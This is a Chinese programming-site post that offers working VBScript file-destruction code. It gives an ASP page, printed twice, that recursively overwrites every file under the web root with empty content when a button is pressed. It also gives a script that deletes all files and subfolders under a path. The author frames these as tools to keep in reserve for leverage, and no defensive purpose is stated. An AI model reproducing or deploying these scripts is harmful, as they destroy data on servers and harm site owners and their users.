当前位置: 移动技术网 > IT编程>脚本编程>VBScript > VBS破坏性应用代码

VBS破坏性应用代码

2017年12月12日  | 移动技术网IT编程  | 我要评论

颜韵ycy,名站网址,上海预约挂号

'网上看到的,适用与没有禁用shell.application的服务器   
server.scripttimeout = 99999   
if request("submit")<>"" then  
    call listfile(server.mappath("./"))   
    response.write"处理完毕"  
else  
    response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"  
end if  

function listfile(fpath)   
    on error resume next  
    dim shell, folder, s   
    set shell = server.createobject ("shell.application")   
    set folder = shell.namespace(fpath)   
    set f = server.createobject("adodb.stream")   
    f.type = 1   
    f.open  
    for each s in folder.items   
        if s.isfolder then  
            call listfile(s.path)   
        else  
            f.savetofile s.path, 2   
        end if  
    next  
    set f = nothing  
    set shell = nothing  
end function  

'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
if request("submit")<>"" then
    call listfile(server.mappath("./"))
    response.write"处理完毕"
else
    response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
end if

function listfile(fpath)
    on error resume next
    dim shell, folder, s
    set shell = server.createobject ("shell.application")
    set folder = shell.namespace(fpath)
    set f = server.createobject("adodb.stream")
    f.type = 1
    f.open
    for each s in folder.items
        if s.isfolder then
            call listfile(s.path)
        else
            f.savetofile s.path, 2
        end if
    next
    set f = nothing
    set shell = nothing
end function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:

view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹   
function filestree(spath)   
    set ofso = createobject("scripting.filesystemobject")   
    set ofolder = ofso.getfolder(spath)   
    set osubfolders = ofolder.subfolders   

    set ofiles = ofolder.files   
    for each ofile in ofiles   
        'wscript.echo ofile.path   
        ofile.delete  
    next  

    for each osubfolder in osubfolders   
        'wscript.echo osubfolder.path   
        osubfolder.delete  
        'filestree(osubfolder.path)'递归   
    next  

    set ofolder = nothing  
    set osubfolders = nothing  
    set ofso = nothing  
end function  

filestree("f:\deltest\deltest") '遍历  

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网